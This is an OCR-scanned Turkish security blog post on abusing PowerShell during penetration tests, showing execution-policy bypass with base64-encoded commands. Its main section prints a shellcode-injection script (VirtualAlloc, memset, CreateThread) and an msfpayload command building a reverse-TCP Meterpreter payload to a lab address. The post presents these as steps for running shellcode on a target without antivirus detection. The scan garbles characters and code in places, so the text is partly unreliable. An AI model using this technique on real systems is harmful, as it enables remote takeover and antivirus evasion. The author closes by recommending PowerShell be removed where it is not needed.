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Yapilan istatistiklere gore 2011 yilinin son ceyreginde Windows XP isletim
sistemi ile Windows 7 isletim sistemi arasindaki kullanim oranlari birbirine
oldukca yakinken, 2012 yilinin son ceyreginde Windows 7 isletim sistemi
kullanim oraninin Windows XP isletim sistemi kullanim oranini ikiye katlamis
olmasi, penetrasyon testi/sizma testi gerceklestiren bilisim glivenligi
uzmanlari arasinda tek bir nedenden 6tirid memnuniyetle karsilandi o da

Windows 7 ile yukli gelen Powershell’den baskasi degildi.

Powershell, Mircosoft tarafindan ydnetim gorevlerini otomatize etmek amaciyla
gelistirilmis, .NET siniflarindan faydalanarak betikler (script)
gelistirilmesine imkan taniyan yeni nesil komut satiridir. Ilk slrimi 2006
yilinda Microsoft tarafindan yayinlanan Powershell’in ikinci srumd 2009
yilinda Windows 7 ve Windows 2008 isletim sistemlerine entegre edilmis uclnci
sirumi ise Windows 8 ve Windows Server 2012 isletim sistemlerine entegre
edilerek kullanicilarin kullanimina sunulmustur.

Powershell, guvenlik onlemi adina guvenilir kaynaklar tarafindan
gelistirilmemis olan betiklerin calistirilmasina varsayilan (default) olarak
izin vermez. Kurumsal ortamlarda da daha 6nce Powershell’in gucune taniklik
etmis olan Sistem Yoneticileri cogunlukla Etki Alani Denetleyicisi (DC)
uzerinden Powershell’in guvenilir olmayan kaynaklardan indirilen betiklerin
calistirilmasini yasaklamaktadirlar.
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BEX Administrator: Ci\Windows\System32\cmd.exe - powershell l =0 (=] |iE-J

PSS CoxlUserssMertsDeszsktopr cat .“Hack4Career.p=zl
Write—Output "Hack4Career — wuw.mertsarica.com — www.hackdcareer.com'
PSS CoxlUserssMertsDesktopr .“Hackd4Career.psl

PSS CoxlUsers~MertsDesktopr Get—ExecutionPolicy
Restricted
PS CoxlUsers~Mert~Dezsktopr _

Ancak ve ancak sistem yoOneticileri de dahil cogu son kullanici bu betiklerin

Command ve EncodedCommand (Base64 ile kodlanmis (encode) betik) ile de

calistirildigindan haberdar degildir. Normal sartlarda betik calistirmaya

izin vermeyen politikalar Command ve EncodedCommand ile atlatilabilmektedir.
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EX Administrator: Chi\Windows\System3.2\cmd.exe - powershell I. | (=] |&J

PE: C:sUserssMertsDesktop> cat .“HackdCareer.p=sl
Write—Output "Hack4Career — wuyw.mertsarica.com — wuww.hackd4career.com"
PE C:slUserssMertsDesktop> .“Hack4Career.p=sl

PSS CxlUserssMertsDesktopr Get—ExecutionPolicy

Restricted

PSS C:slUserssMertsDesktop? Scode = {UYrite—Output "Hack4Career — wuww.mertsarica.co
m — wuww hackd4career _com'>

PSS CoxlserssMertsDesktopr [convertl::ToBasebd4String<[Text.Encodingl::Unicode.Get
Bytes{fcodel)
UuwBuAGKAdABIACHATwB1AHQACcABIAHQATAAiAEgAY QB JAG=ANABDAGEAcgB1AGUAcgAgACAAIAB3AHC
AdvAnAGBAZGByAHQACcwBhAHIAaQBjAGEALgBjAGEALGAgACHA IABIAHcAdwALAGAY QB jAG=ANABJAG
EAcgBlAGUAcgAuAGHAbwBtACIA

PE C:slUserssMertsDesktop> powershell —EncodedCommand UwBoAGkKAdABIACHATwB1AHQACAB
1AHQATAALIAEgAY QB JAG=ANABDAGEAcgB1AGUAcgAgACBAIAB3AHcAdwALAGBAZQBEyAHQAcwBhAH I AaQB
JAGEALgBjAGEADOAgACHA TABIAHcAdwAvAGAYGB jAG=ANAB jAGEAcgB1AGUAc gAvAGHAbWBLtACT A
Hack4Career — www_mertsarica.com — wuw_ hackdcareer.com

PE C:sUserssMert“Desktop’
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Powershell’in betiklerde .NET siniflarini kullanmaya imkan tanimasi, C# ile

yazilmis bir kod parcasini calistirma (runtime) esnasinda derlemesi ve

calistirmasi sayesinde 6rnegin komut enjeksiyonu (command injection) zafiyeti

olan bir Windows Server 2008 isletim sisteminin komut satirina uzaktan

erismek (remote shell) veya basit sifre tahmini ile sizilan bir Windows 7

isletim sisteminin Metasploit’e baglanmasini saglamak mimkindir. En onemlisi



ise Powershell sayesinde Antiviris yaziliminin kullanildigi bir sistemde
Antiviris’'e yakalanmadan istenilen kabuk kodu calistirabilmektedir.

Ornek olarak Powershell lizerinden kabuk kodu calistirmak i¢in Matt Graeber
tarafindan gelistirilen asagidaki betigi kullanabilirsiniz.

$code = {$code = '[DllImport("kernel32.dl1")]public static extern IntPtr
VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint
flProtect); [DLlImport("kernel32.dl1l")]public static extern IntPtr
CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr
IpThreadId); [DLlImport("msvcrt.dll")]public static extern IntPtr

memset (IntPtr dest, uint src, uint count);';$winFunc = Add-Type -
memberDefinition $code -Name "Win32" -namespace Win32Functions -

passthru; [Byte[]]; [Byte[]]$sc64 = ;[Byte[]]$sc = $sc64;$size = 0x1000;if
($sc.Length -gt 0x1000) {$size =

$sc.Length}; $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;%$1i -le
($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+%$1i), $sc[$il],
1)};$winFunc::CreateThread(0,0,%$x,0,0,0);for (;;) { Start-sleep 60 };}

Betigin calisabilmesi icin $sc64 degiskenine hedef islemci mimarisine uygun
olan (x32 veya x64) kabuk kodunu kopyalamaniz gerekmektedir. $sc64

degiskenine atanacak kabuk kodunu asagidaki sekilde olusturabilirsiniz.

msfpayload windows/x64/meterpreter/reverse tcp LHOST=192.168.159.128
PORT=4444 EXITFUNC=thread C | sed '1,6d;s/[";1//9;s/\\/,0/9"' | tr -d '\n' |
cut -c2- | sed 's/”N[MOTFN(O.F\/\*\).*/\1/"' | sed 's/.\{2\}$//' | tr -d '\n'
more



Ardindan betik blogunu Powershell komut satirina kopyaladiktan sonra Base64
ile kodlamak icin
[convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($code)) kodunu
calistirmaniz gerekmektedir. Son olarak Backtrack’de hazir bulunan
Meterpreter ile hedef sistemi baglamak icin az 6nce elde ettiginiz BASE64 ile
kodlanmis betigi hedef sistemde powershell -EncodedCommand seklinde
calistirarak Meterpreter’in Antivirus yukli hedef sistemde basariyla

calismasini saglayabilirsiniz.
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B Gl all Arosminade

Sonu¢ olarak Powershell Ustun 6zelliklerinin yani sira mevcut guvenlik
kontrollerinin yetersiz olmasi nedeniyle kotiye kullanima ac¢ik oldugu igin

kullanimina ihtiya¢ duyulmayan sistemlerden kaldirilmasini tavsiye ederim.

Bir sonraki yazida gorusmek dilegiyle herkese giivenli ginler dilerim.




